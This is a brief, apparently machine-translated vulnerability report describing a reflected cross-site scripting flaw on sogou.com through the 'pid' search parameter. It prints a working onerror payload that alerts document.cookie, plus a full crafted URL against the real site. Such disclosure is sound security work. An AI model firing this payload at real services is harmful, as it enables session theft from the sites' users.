XSS found on Sogou.com

There is a XSS found on Sogou.com

Severity: XSS
Confidence: Confident
Host: http://sogou.com
Path :/
 
Issue detail:
If you enter the following XSS vector for the search field:
"> <Video> <source onerror = alert (document. cookie)>
 
I will get back the following page:
Http://www.sogou.com/sogou? Pid = AQxRG & query = "> <video> <source onerror = alert (document. cookie)>
However, this particle results page will not cause any XSS.
 
However, after looking at the page for several minutes, the actual parameter that will cause XSS is actually pid
Http://www.sogou.com/sogou? Pid = AQxRG "> <video> <source onerror = alert (document. cookie)> & query ="> <video> <source onerror = alert (document. cookie)>

Using the above link, you will see a XSS like the image below.